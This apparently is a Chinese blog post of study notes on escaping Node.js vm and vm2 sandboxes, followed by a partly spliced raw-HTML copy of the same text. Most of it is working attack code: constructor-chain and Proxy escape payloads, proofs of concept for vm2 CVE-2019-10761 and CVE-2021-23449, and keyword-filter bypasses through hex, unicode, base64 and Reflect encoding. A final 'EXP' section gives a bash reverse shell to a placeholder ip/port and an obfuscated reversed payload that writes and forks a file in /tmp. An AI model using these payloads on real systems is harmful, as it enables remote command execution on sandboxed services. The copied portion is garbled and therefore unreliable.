NodeJS 沙箱逃逸

博主：辰兮吖
发布时间：2024 年 04 月 02 日
190 次浏览
暂无评论
12266字数
分类： WEB学习笔记

前言

JavaScript和Nodejs之间有什么区别：JavaScript用在浏览器前端，后来将Chrome中的v8引擎单独拿出来为JavaScript单独开发了一个运行环境，因此JavaScript也可以作为一门后端语言，写在后端（服务端）的JavaScript就叫叫做Nodejs。
什么是沙箱（sandbox）当我们运行一些可能会产生危害的程序，我们不能直接在主机的真实环境上进行测试，所以可以通过单独开辟一个运行代码的环境，它与主机相互隔离，但使用主机的硬件资源，我们将有危害的代码在沙箱中运行只会对沙箱内部产生一些影响，而不会影响到主机上的功能，沙箱的工作机制主要是依靠重定向，将恶意代码的执行目标重定向到沙箱内部。
沙箱（sandbox）和虚拟机（VM）和容器（Docker）之间的区别：sandbox和VM使用的都是虚拟化技术，但二者间使用的目的不一样。沙箱用来隔离有害程序，而虚拟机则实现了我们在一台电脑上使用多个操作系统的功能。Docker属于sandbox的一种，通过创造一个有边界的运行环境将程序放在里面，使程序被边界困住，从而使程序与程序，程序与主机之间相互隔离开。在实际防护时，使用Docker和sandbox嵌套的方式更多一点，安全性也更高。
在Nodejs中，我们可以通过引入vm模块来创建一个“沙箱”，但其实这个vm模块的隔离功能并不完善，还有很多缺陷，因此Node后续升级了vm，也就是现在的vm2沙箱，vm2引用了vm模块的功能，并在其基础上做了一些优化。

Nodejs作用域

在Node中一般把作用域叫上下文

在Web端（浏览器），发挥作用的一般是JavaScript，学过JavaScript的师傅应该都知道我们打开浏览器的窗口是JavaScript中最大的对象window，那么在服务端发挥作用的Node它的构造和JavaScript不太一样。

我们在写一个Node项目时往往要在一个文件里ruquire其他的js文件，这些文件我们都给它们叫做“包”。每一个包都有一个自己的上下文，包之间的作用域是互相隔离不互通的，也就是说就算我在y1.js中require了y2.js，那么我在y1.js中也无法直接调用y2.js中的变量和函数。

想要让2.js从1.js中获取到变量，可以在1.js中这么写：

var age = 20

exports.age = age

exports是Node给我们提供的一个将js文件中元素输出的接口

这里可以这么看：

global是Nodejs中的全局对象

JavaScript中window是全局对象，浏览器其他所有的属性都挂载在window下，那么在服务端的Nodejs中和window类似的全局对象叫做global

Nodejs下其他的所有属性和包都挂载在这个global对象下。在global下挂载了一些全局变量，我们在访问这些全局变量时不需要用global.xxx的方式来访问，直接用xxx就可以调用这个变量。举个例子，console就是挂载在global下的一个全局变量，我们在用console.log输出时并不需要写成global.console.log，其他常见全局变量还有process（这也是待会用来逃逸的）

vm沙箱逃逸

vm.runinThisContext(code)：在当前global下创建一个作用域（sandbox），并将接收到的参数当作代码运行。sandbox中可以访问到global中的属性，但无法访问其他包中的属性。

举个例子

const vm = require('vm');
let localVar = 'initial value';
const vmResult = vm.runInThisContext('localVar = "vm";');
console.log('vmResult:', vmResult);
console.log('localVar:', localVar);
// vmResult: 'vm', localVar: 'initial value'

不同作用域不互相影响.

vm.createContext([sandbox])：在使用前需要先创建一个沙箱对象，再将沙箱对象传给该方法（如果没有则会生成一个空的沙箱对象），v8为这个沙箱对象在当前global外再创建一个作用域，此时这个沙箱对象就是这个作用域的全局对象，沙箱内部无法访问global中的属性。
vm.runInContext(code, contextifiedSandbox[, options])：参数为要执行的代码和创建完作用域的沙箱对象，代码会在传入的沙箱对象的上下文中执行，并且参数的值与沙箱内的参数值相同。

const util = require('util');
  const vm = require('vm');
  global.globalVar = 3;
  const sandbox = { globalVar: 1 };
  vm.createContext(sandbox);
  vm.runInContext('globalVar *= 2;', sandbox);
  console.log(util.inspect(sandbox)); // { globalVar: 2 }
  console.log(util.inspect(globalVar)); // 3

vm.runInNewContext(code[, sandbox][, options]): creatContext和runInContext的结合版，传入要执行的代码和沙箱对象。
vm.Script类 vm.Script类型的实例包含若干预编译的脚本，这些脚本能够在特定的沙箱（或者上下文）中被运行。
new vm.Script(code, options)：创建一个新的vm.Script对象只编译代码但不会执行它。编译过的vm.Script此后可以被多次执行。值得注意的是，code是不绑定于任何全局对象的，相反，它仅仅绑定于每次执行它的对象。
code：要被解析的JavaScript代码

const util = require('util');
const vm = require('vm');
const sandbox = {
animal: 'cat',
count: 2
};
const script = new vm.Script('count += 1; name = "kitty";');
const context = vm.createContext(sandbox);
script.runInContext(context);
console.log(util.inspect(sandbox));
// { animal: 'cat', count: 3, name: 'kitty' }

沙箱逃逸最后都是进行rce，那么在Node里要进行rce就需要procces了，在获取到process对象后我们就可以用require来导入child_process，再利用child_process执行命令。但process挂载在global上，但是我们上面说了在creatContext后是不能访问到global的，所以我们最终的目标是通过各种办法将global上的process引入到沙箱中。

vm.runInNewContext(`this.constructor.constructor('return process.env')()`);

这行代码就可以实现逃逸的呢，首先这里面的this指向的是当前传递给runInNewContext的对象，这个对象是不属于沙箱环境的，我们通过这个对象获取到它的构造器，再获得一个构造器对象的构造器（此时为Function的constructor），最后的()是调用这个用Function的constructor生成的函数，最终返回了一个process对象。

同样的：

const y1 = vm.runInNewContext(`this.toString.constructor('return process')()`);

然后我们就可以通过返回的process对象来rce了

y1.mainModule.require('child_process').execSync('whoami').toString()

特殊

const vm = require('vm');
const script = `...`;
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

我们现在的this为null，并且也没有其他可以引用的对象，这时候想要逃逸我们要用到一个函数中的内置对象的属性arguments.callee.caller，它可以返回函数的调用者。

我们上面演示的沙箱逃逸其实就是找到一个沙箱外的对象，并调用其中的方法，这种情况下也是一样的，我们只要在沙箱内定义一个函数，然后在沙箱外调用这个函数，那么这个函数的arguments.callee.caller就会返回沙箱外的一个对象，我们在沙箱内就可以进行逃逸了。

比如：

const vm = require('vm');
const script = 
`(() => {
    const a = {}
    a.toString = function () {
      const cc = arguments.callee.caller;
      const p = (cc.constructor.constructor('return process'))();
      return p.mainModule.require('child_process').execSync('whoami').toString()
    }
    return a
  })()`;

const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

我们在沙箱内先创建了一个对象，并且将这个对象的toString方法进行了重写，通过arguments.callee.caller获得到沙箱外的一个对象，利用这个对象的构造函数的构造函数返回了process，再调用process进行rce，沙箱外在console.log中通过字符串拼接的方式触发了这个重写后的toString函数。

如果沙箱外没有执行字符串的相关操作来触发这个toString，并且也没有可以用来进行恶意重写的函数，我们可以用Proxy来劫持属性

例如：

const vm = require("vm");

const script = 
`
(() =>{
    const a = new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })
    return a
})()
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.abc)

触发利用链的逻辑就是我们在get:这个钩子里写了一个恶意函数，当我们在沙箱外访问proxy对象的任意属性（不论是否存在）这个钩子就会自动运行，实现了rce。

如果沙箱的返回值返回的是我们无法利用的对象或者没有返回值应该怎么进行逃逸呢？

我们可以借助异常，将沙箱内的对象抛出去，然后在外部输出：

const vm = require("vm");

const script = 
`
    throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })
`;
try {
    vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
    console.log("error:" + e) 
}

这里我们用catch捕获到了throw出的proxy对象，在console.log时由于将字符串与对象拼接，将报错信息和rce的回显一起带了出来。

vm2中的沙箱绕过

CVE-2019-10761

该漏洞要求vm2版本<=3.6.10

"use strict";
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {
        length: 10,
        utf8Write(){

        }
}
function r(i){
    var x = 0;
    try{
        x = r(i);
    }catch(e){}
    if(typeof(x)!=='number')
        return x;
    if(x!==i)
        return x+1;
    try{
        f.call(ft);
    }catch(e){
        return e;
    }
    return null;
}
var i=1;
while(1){
    try{
        i=r(i).constructor.constructor("return process")();
        break;
    }catch(x){
        i++;
    }
}
i.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

沙箱逃逸说到底就是要从沙箱外获取一个对象，然后获得这个对象的constructor属性，这条链子获取沙箱外对象的方法是在沙箱内不断递归一个函数，当递归次数超过当前环境的最大值时，我们正好调用沙箱外的函数，就会导致沙箱外的调用栈被爆掉，我们在沙箱内catch这个异常对象，就拿到了一个沙箱外的对象。举个例子：

假设当前环境下最大递归值为1000，我们通过程序控制递归999次（注意这里说的递归值不是一直调用同一个函数的最大值，而是单次程序内调用函数次数的最大值，也就是调用栈的最大值）：

CVE-2021-23449

poc：

let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();

import()在JavaScript中是一个语法结构，不是函数，没法通过之前对require这种函数处理相同的方法来处理它，导致实际上我们调用import()的结果实际上是没有经过沙箱的，是一个外部变量。我们再获取这个变量的属性即可绕过沙箱。 vm2对此的修复方法也很粗糙，正则匹配并替换了\bimport\b关键字，在编译失败的时候，报Dynamic Import not supported错误。

知识星球的trick

Symbol = {
  get toStringTag(){
    throw f=>f.constructor("return process")()
  }
};
try{
  Buffer.from(new Map());
}catch(f){
  Symbol = {};
  f(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}

vm2会为对象配置代理并初始化，如果对象是以下类型：

就会return Decontextify.instance 函数，这个函数中用到了Symbol全局对象，我们可以通过劫持Symbol对象的getter并抛出异常，再在沙箱内拿到这个异常对象就可以了

Bypass

再来点绕过吧，不然有点没啥用

对于字符串那种，比如const p = (cc.constructor.constructor('return process'))();，而且恰好正则区分大小写，可以把'return process'变成'return Process'.toLowerCase();

或者replace

'return procBess'.replace('B','')

16进制编码

require("child_process")["exe\x63Sync"]("curl 127.0.0.1:1234")

unicode编码

由于JavaScript允许直接用码点表示Unicode字符，写法是”反斜杠+u+码点”，所以我们也可以用一个字符的unicode形式来代替对应字符。

console.log("\u0061"==="a");
// true
require("child_process")["exe\u0063Sync"]("curl 127.0.0.1:1234")

加号拼接

require('child_process')['exe'%2b'cSync']('curl 127.0.0.1:1234')

模板字符串

本来想写到最前面显眼一点，后来发现很多会ban掉中括号，寄

模板字面量是允许嵌入表达式的字符串字面量。你可以使用多行字符串和字符串插值功能。

`${`${`child_proces`}s`}`
require('child_process')[`${`${`exe`}cSync`}`]('curl 127.0.0.1:1234')

concat连接

require("child_process")["exe".concat("cSync")]("curl 127.0.0.1:1234")

base64编码

eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())

如果过滤base64，可以

`base`.concat(64)

过滤掉了Buffer，可以换成

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))

要拿到Buffer.from方法，可以通过下标

Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`))))[1]

Obejct.keys

实际上通过require导入的模块是一个Object，所以就可以用Object中的方法来操作获取内容。利用Object.values就可以拿到child_process中的各个函数方法，再通过数组下标就可以拿到execSync

console.log(require('child_process').constructor===Object)
//true
Object.values(require('child_process'))[5]('curl 127.0.0.1:1234')

Reflect

这个应该才是今天的重点

在js中，需要使用Reflect这个关键字来实现反射调用函数的方式。譬如要得到eval函数，可以首先通过Reflect.ownKeys(global)拿到所有函数，然后global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]即可得到eval

拿到eval之后，就可以常规思路rce了

global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("curl 127.0.0.1:1234")')

这里虽然有可能被检测到的关键字，但由于mainModule、global、child_process等关键字都在字符串里，可以利用上面提到的方法编码，譬如16进制。

global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('\x67\x6c\x6f\x62\x61\x6c\x5b\x52\x65\x66\x6c\x65\x63\x74\x2e\x6f\x77\x6e\x4b\x65\x79\x73\x28\x67\x6c\x6f\x62\x61\x6c\x29\x2e\x66\x69\x6e\x64\x28\x78\x3d\x3e\x78\x2e\x69\x6e\x63\x6c\x75\x64\x65\x73\x28\x27\x65\x76\x61\x6c\x27\x29\x29\x5d\x28\x27\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29\x27\x29')

这里还有个小trick，如果过滤了eval关键字，可以用includes('eva')来搜索eval函数，也可以用startswith('eva')来搜索

过滤中括号的情况

上面提到，获取到eval的方式是通过global数组，其中用到了中括号[]，假如中括号被过滤，可以用Reflect.get来绕。

Reflect.get(target, propertyKey[, receiver])的作用是获取对象身上某个属性的值，类似于target[name]。

所以取eval函数的方式可以变成

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))

后面拼接上命令执行的payload即可。

EXP

所以上面提到的绕过vm的poc可以改成

throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const g = (cc.constructor.constructor('return global'))();   //拿到所有函数
            const p = Reflect.get(g, Reflect.ownKeys(g).find(x=>x.includes('pro'))).mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));//编码绕过构造process.mainModule.require('child_process')(其实replace之类的东西就能绕过)
            return Reflect.get(p, Reflect.ownKeys(p).find(x=>x.includes('exe')))("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'").toString();//构造exec函数
        }
    })

throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return procBess'.replace('B','')))();
            const obj = p.mainModule.require('child_procBess'.replace('B',''));
            const ex = Object.getOwnPropertyDescriptor(obj, 'exeicSync'.replace('i',''));
            return ex.value('whoami').toString();
        }
    })

throw new Proxy({}, {
     get: function(){
        const content = `;)"'}i-,hsab{|}d-,46esab{|}d-,46esab{|}9UkaKtSQEl0MNpXT4hTeNpHNp5keFpGT5lkaNVXUq1Ee4M0YqJ1MMJjVHpldBlmSrE0UhRXQDFmeG1WW,ohce{' c- hsab"(cexe;)"ssecorp_dlihc"(eriuqer = } cexe { tsnoc`;
        const reversedContent = content.split('').reverse().join('');    
         const c = arguments.callee.caller;
         const p = (c.constructor.constructor(`${`${`return proces`}s`}`))();
         p.mainModule.require('fs').writeFileSync('/tmp/test1.js', reversedContent);
        return p.mainModule.require(`${`${`child_proces`}s`}`).fork('/tmp/test1.js').toString();
    }
})

最后修改：2024 年 04 月 02 日

如果觉得我的文章对你有用，请随意赞赏

发表评论取消回复
使用cookie技术保留您的个人信息以便您下次快速评论，继续评论表示您已同意该条款

评论 *

私密评论

名称 *

🎲

邮箱 *

地址

但行莫问前程
浏览次数: 14501
WEB基础漏洞笔记
浏览次数: 1212
Flask中pin码计算
浏览次数: 765
PHP GC回收机制（Garbage Collection）与Phar
浏览次数: 493
Python 原型链污染变体
浏览次数: 404

SQL注入-番外篇
浏览次数: 109
PHP伪协议之://temp
浏览次数: 251
JAVA安全-CommonsCollections其他
浏览次数: 50
但行莫问前程
浏览次数: 14501
Phar反序列化奇淫
浏览次数: 290

NodeJS 沙箱逃逸

辰兮吖 • 2024 年 04 月 02 日

<h1>前言</h1><ul><li>JavaScript和Nodejs之间有什么区别：JavaScript用在浏览器前端，后来将Chrome中的v8引擎单独拿出来为JavaScript单独开发了一个运行环境，因此JavaScript也可以作为一门后端语言，写在后端（服务端）的JavaScript就叫叫做Nodejs。</li><li>什么是沙箱（sandbox）当我们运行一些可能会产生危害的程序，我们不能直接在主机的真实环境上进行测试，所以可以通过单独开辟一个运行代码的环境，它与主机相互隔离，但使用主机的硬件资源，我们将有危害的代码在沙箱中运行只会对沙箱内部产生一些影响，而不会影响到主机上的功能，沙箱的工作机制主要是依靠重定向，将恶意代码的执行目标重定向到沙箱内部。</li><li>沙箱（sandbox）和 虚拟机（VM）和 容器（Docker）之间的区别：sandbox和VM使用的都是虚拟化技术，但二者间使用的目的不一样。沙箱用来隔离有害程序，而虚拟机则实现了我们在一台电脑上使用多个操作系统的功能。Docker属于sandbox的一种，通过创造一个有边界的运行环境将程序放在里面，使程序被边界困住，从而使程序与程序，程序与主机之间相互隔离开。在实际防护时，使用Docker和sandbox嵌套的方式更多一点，安全性也更高。</li><li>在Nodejs中，我们可以通过引入vm模块来创建一个“沙箱”，但其实这个vm模块的隔离功能并不完善，还有很多缺陷，因此Node后续升级了vm，也就是现在的vm2沙箱，vm2引用了vm模块的功能，并在其基础上做了一些优化。</li></ul><h2><strong>Nodejs</strong>作用域</h2><p>在Node中一般把作用域叫上下文</p><p>在Web端（浏览器），发挥作用的一般是JavaScript，学过JavaScript的师傅应该都知道我们打开浏览器的窗口是JavaScript中最大的对象<code>window</code>，那么在服务端发挥作用的Node它的构造和JavaScript不太一样。</p><p>我们在写一个Node项目时往往要在一个文件里ruquire其他的js文件，这些文件我们都给它们叫做“包”。每一个包都有一个自己的上下文，包之间的作用域是互相隔离不互通的，也就是说就算我在y1.js中require了y2.js，那么我在y1.js中也无法直接调用y2.js中的<strong>变量和函数</strong>。</p><p>想要让2.js从1.js中获取到变量，可以在1.js中这么写：</p><pre><code>var age = 20

exports.age = age</code></pre><p><code>exports</code>是Node给我们提供的一个将js文件中元素输出的接口</p><p>这里可以这么看：</p><p><img src="http://blog.187.ink/usr/uploads/2024/04/1583924715.png" alt="image-20240402171547707.png" title="image-20240402171547707.png"style=""></p><p>global是Nodejs中的全局对象</p><p>JavaScript中<code>window</code>是全局对象，浏览器其他所有的属性都挂载在<code>window</code>下，那么在服务端的Nodejs中和<code>window</code>类似的全局对象叫做<code>global</code></p><p>Nodejs下其他的所有属性和包都挂载在这个global对象下。在global下挂载了一些全局变量，我们在访问这些全局变量时不需要用<code>global.xxx</code>的方式来访问，直接用<code>xxx</code>就可以调用这个变量。举个例子，<code>console</code>就是挂载在global下的一个全局变量，我们在用<code>console.log</code>输出时并不需要写成<code>global.console.log</code>，其他常见全局变量还有<code>process</code>（这也是待会用来逃逸的）</p><h1><strong>vm沙箱逃逸</strong></h1><ul><li><code>vm.runinThisContext(code)</code>：在当前global下创建一个作用域（sandbox），并将接收到的参数当作代码运行。sandbox中可以访问到global中的属性，但无法访问其他包中的属性。</li></ul><p><img src="http://blog.187.ink/usr/uploads/2024/04/518688184.png" alt="image-20240402171753973.png" title="image-20240402171753973.png"style=""></p><p>举个例子</p><pre><code>const vm = require('vm');
let localVar = 'initial value';
const vmResult = vm.runInThisContext('localVar = &quot;vm&quot;;');
console.log('vmResult:', vmResult);
console.log('localVar:', localVar);
// vmResult: 'vm', localVar: 'initial value'</code></pre><p>不同作用域不互相影响.</p><ul><li><p><code>vm.createContext([sandbox])</code>： 在使用前需要先创建一个沙箱对象，再将沙箱对象传给该方法（如果没有则会生成一个空的沙箱对象），v8为这个沙箱对象在当前global外再创建一个作用域，此时这个沙箱对象就是这个作用域的全局对象，沙箱内部无法访问global中的属性。</p><p><code>vm.runInContext(code, contextifiedSandbox[, options])</code>：参数为要执行的代码和创建完作用域的沙箱对象，代码会在传入的沙箱对象的上下文中执行，并且参数的值与沙箱内的参数值相同。</p></li></ul><p><img src="http://blog.187.ink/usr/uploads/2024/04/439403619.png" alt="image-20240402172209562.png" title="image-20240402172209562.png"style=""></p><pre><code>const util = require('util');
  const vm = require('vm');
  global.globalVar = 3;
  const sandbox = { globalVar: 1 };
  vm.createContext(sandbox);
  vm.runInContext('globalVar *= 2;', sandbox);
  console.log(util.inspect(sandbox)); // { globalVar: 2 }
  console.log(util.inspect(globalVar)); // 3</code></pre><ul><li><code>vm.runInNewContext(code[, sandbox][, options])</code>: creatContext和runInContext的结合版，传入要执行的代码和沙箱对象。</li><li><code>vm.Script类</code> vm.Script类型的实例包含若干预编译的脚本，这些脚本能够在特定的沙箱（或者上下文）中被运行。</li><li><code>new vm.Script(code, options)</code>：创建一个新的vm.Script对象只编译代码但不会执行它。编译过的vm.Script此后可以被多次执行。值得注意的是，code是不绑定于任何全局对象的，相反，它仅仅绑定于每次执行它的对象。<br>code：要被解析的JavaScript代码</li></ul><pre><code>const util = require('util');
const vm = require('vm');
const sandbox = {
animal: 'cat',
count: 2
};
const script = new vm.Script('count += 1; name = &quot;kitty&quot;;');
const context = vm.createContext(sandbox);
script.runInContext(context);
console.log(util.inspect(sandbox));
// { animal: 'cat', count: 3, name: 'kitty' }</code></pre><p>    </p><p>沙箱逃逸最后都是进行rce，那么在Node里要进行rce就需要procces了，在获取到process对象后我们就可以用require来导入child_process，再利用child_process执行命令。但process挂载在global上，但是我们上面说了在<code>creatContext</code>后是不能访问到global的，所以我们最终的目标是通过各种办法将global上的process引入到沙箱中。</p><pre><code>vm.runInNewContext(`this.constructor.constructor('return process.env')()`);</code></pre><p>这行代码就可以实现逃逸的呢，首先这里面的this指向的是当前传递给<code>runInNewContext</code>的对象，这个对象是不属于沙箱环境的，我们通过这个对象获取到它的构造器，再获得一个构造器对象的构造器（此时为Function的constructor），最后的<code>()</code>是调用这个用Function的constructor生成的函数，最终返回了一个process对象。</p><p>同样的：</p><pre><code>const y1 = vm.runInNewContext(`this.toString.constructor('return process')()`);</code></pre><p>然后我们就可以通过返回的process对象来rce了</p><pre><code>y1.mainModule.require('child_process').execSync('whoami').toString()</code></pre><h1>特殊</h1><pre><code>const vm = require('vm');
const script = `...`;
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)</code></pre><p>我们现在的this为null，并且也没有其他可以引用的对象，这时候想要逃逸我们要用到一个函数中的内置对象的属性<code>arguments.callee.caller</code>，它可以返回函数的<strong>调用者</strong>。</p><p>我们上面演示的沙箱逃逸其实就是找到一个沙箱外的对象，并调用其中的方法，这种情况下也是一样的，我们只要在<strong>沙箱内定义一个函数</strong>，然后在<strong>沙箱外</strong>调用这个函数，那么这个函数的<code>arguments.callee.caller</code>就会返回沙箱外的一个对象，我们在沙箱内就可以进行逃逸了。</p><p>比如：</p><pre><code>const vm = require('vm');
const script = 
`(() =&gt; {
    const a = {}
    a.toString = function () {
      const cc = arguments.callee.caller;
      const p = (cc.constructor.constructor('return process'))();
      return p.mainModule.require('child_process').execSync('whoami').toString()
    }
    return a
  })()`;

const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)</code></pre><p>我们在沙箱内先创建了一个对象，并且将这个对象的toString方法进行了重写，通过<code>arguments.callee.caller</code>获得到沙箱外的一个对象，利用这个对象的构造函数的构造函数返回了process，再调用process进行rce，沙箱外在console.log中通过<strong>字符串拼接</strong>的方式触发了这个重写后的toString函数。</p><p>如果沙箱外没有执行字符串的相关操作来触发这个toString，并且也没有可以用来进行恶意重写的函数，我们可以用<code>Proxy</code>来劫持属性</p><p>例如：</p><pre><code>const vm = require(&quot;vm&quot;);

}
}
function r(i){
    var x = 0;
    try{
        x = r(i);
    }catch(e){}
    if(typeof(x)!=='number')
        return x;
    if(x!==i)
        return x+1;
    try{
        f.call(ft);
    }catch(e){
        return e;
    }
    return null;
}
var i=1;
while(1){
    try{
        i=r(i).constructor.constructor(&quot;return process&quot;)();
        break;
    }catch(x){
        i++;
    }
}
i.mainModule.require(&quot;child_process&quot;).execSync(&quot;whoami&quot;).toString()
`;
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}</code></pre><p>沙箱逃逸说到底就是要从沙箱外获取一个对象，然后获得这个对象的constructor属性，这条链子获取沙箱外对象的方法是 在沙箱内不断递归一个函数，当递归次数超过当前环境的最大值时，我们正好调用沙箱外的函数，就会导致沙箱外的调用栈被爆掉，我们在沙箱内catch这个异常对象，就拿到了一个沙箱外的对象。举个例子：</p><p>假设当前环境下最大递归值为1000，我们通过程序控制递归999次（注意这里说的递归值不是一直调用同一个函数的最大值，而是单次程序内调用函数次数的最大值，也就是调用栈的最大值）：</p><h2><strong>CVE-2021-23449</strong></h2><p>poc：</p><pre><code>let res = import('./foo.js')
res.toString.constructor(&quot;return this&quot;)().process.mainModule.require(&quot;child_process&quot;).execSync(&quot;whoami&quot;).toString();</code></pre><p>import()在JavaScript中是一个语法结构，不是函数，没法通过之前对require这种函数处理相同的方法来处理它，导致实际上我们调用import()的结果实际上是没有经过沙箱的，是一个外部变量。 我们再获取这个变量的属性即可绕过沙箱。 vm2对此的修复方法也很粗糙，正则匹配并替换了\bimport\b关键字，在编译失败的时候，报Dynamic Import not supported错误。</p><h2>知识星球的trick</h2><pre><code>Symbol = {
  get toStringTag(){
    throw f=&gt;f.constructor(&quot;return process&quot;)()
  }
};
try{
  Buffer.from(new Map());
}catch(f){
  Symbol = {};
  f(()=&gt;{}).mainModule.require(&quot;child_process&quot;).execSync(&quot;whoami&quot;).toString();
}</code></pre><p>vm2会为对象配置代理并初始化，如果对象是以下类型：</p><p><img src="http://blog.187.ink/usr/uploads/2024/04/1482179299.png" alt="image-20240402202357511.png" title="image-20240402202357511.png"style=""></p><p>就会return <code>Decontextify.instance</code> 函数，这个函数中用到了Symbol全局对象，我们可以通过劫持Symbol对象的getter并抛出异常，再在沙箱内拿到这个异常对象就可以了</p><h1>Bypass</h1><p>再来点绕过吧，不然有点没啥用</p><p>对于字符串那种，比如<code>const p = (cc.constructor.constructor('return process'))();</code>，而且恰好正则区分大小写，可以把<code>'return process'变成'return Process'.toLowerCase();</code></p><p>或者replace</p><pre><code>'return procBess'.replace('B','')</code></pre><h2>16进制编码</h2><pre><code class="lang-javascript">require(&quot;child_process&quot;)[&quot;exe\x63Sync&quot;](&quot;curl 127.0.0.1:1234&quot;)</code></pre><h2>unicode编码</h2><p>由于<code>JavaScript</code>允许直接用码点表示Unicode字符，写法是”反斜杠+u+码点”，所以我们也可以用一个字符的unicode形式来代替对应字符。</p><pre><code class="lang-javascript">console.log(&quot;\u0061&quot;===&quot;a&quot;);
// true
require(&quot;child_process&quot;)[&quot;exe\u0063Sync&quot;](&quot;curl 127.0.0.1:1234&quot;)</code></pre><h2>加号拼接</h2><pre><code class="lang-javascript">require('child_process')['exe'%2b'cSync']('curl 127.0.0.1:1234')</code></pre><h2><strong>模板字符串</strong></h2><p>本来想写到最前面显眼一点，后来发现很多会ban掉中括号，寄</p><p>模板字面量是允许嵌入表达式的字符串字面量。你可以使用多行字符串和字符串插值功能。</p><pre><code class="lang-javascript">`${`${`child_proces`}s`}`
require('child_process')[`${`${`exe`}cSync`}`]('curl 127.0.0.1:1234')</code></pre><h2>concat连接</h2><pre><code class="lang-javascript">require(&quot;child_process&quot;)[&quot;exe&quot;.concat(&quot;cSync&quot;)](&quot;curl 127.0.0.1:1234&quot;)</code></pre><h2>base64编码</h2><pre><code class="lang-javascript">eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())</code></pre><p>如果过滤base64，可以</p><pre><code>`base`.concat(64)</code></pre><p>过滤掉了<code>Buffer</code>，可以换成</p><pre><code class="lang-javascript">Reflect.get(global, Reflect.ownKeys(global).find(x=&gt;x.startsWith(`Buf`)))</code></pre><p>要拿到<code>Buffer.from</code>方法，可以通过下标</p><pre><code class="lang-js">Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=&gt;x.startsWith(`Buf`))))[1]</code></pre><h2>Obejct.keys</h2><p>实际上通过<code>require</code>导入的模块是一个<code>Object</code>，所以就可以用<code>Object</code>中的方法来操作获取内容。利用<code>Object.values</code>就可以拿到<code>child_process</code>中的各个函数方法，再通过数组下标就可以拿到<code>execSync</code></p><pre><code class="lang-javascript">console.log(require('child_process').constructor===Object)
//true
Object.values(require('child_process'))[5]('curl 127.0.0.1:1234')</code></pre><h2>Reflect</h2><p>这个应该才是今天的重点</p><p>在js中，需要使用<code>Reflect</code>这个关键字来实现反射调用函数的方式。譬如要得到<code>eval</code>函数，可以首先通过<code>Reflect.ownKeys(global)</code>拿到所有函数，然后<code>global[Reflect.ownKeys(global).find(x=&gt;x.includes('eval'))]</code>即可得到eval</p><p>拿到eval之后，就可以常规思路rce了</p><pre><code class="lang-javascript">global[Reflect.ownKeys(global).find(x=&gt;x.includes('eval'))]('global.process.mainModule.constructor._load(&quot;child_process&quot;).execSync(&quot;curl 127.0.0.1:1234&quot;)')</code></pre><p>这里虽然有可能被检测到的关键字，但由于<code>mainModule</code>、<code>global</code>、<code>child_process</code>等关键字都在字符串里，可以利用上面提到的方法编码，譬如16进制。</p><pre><code 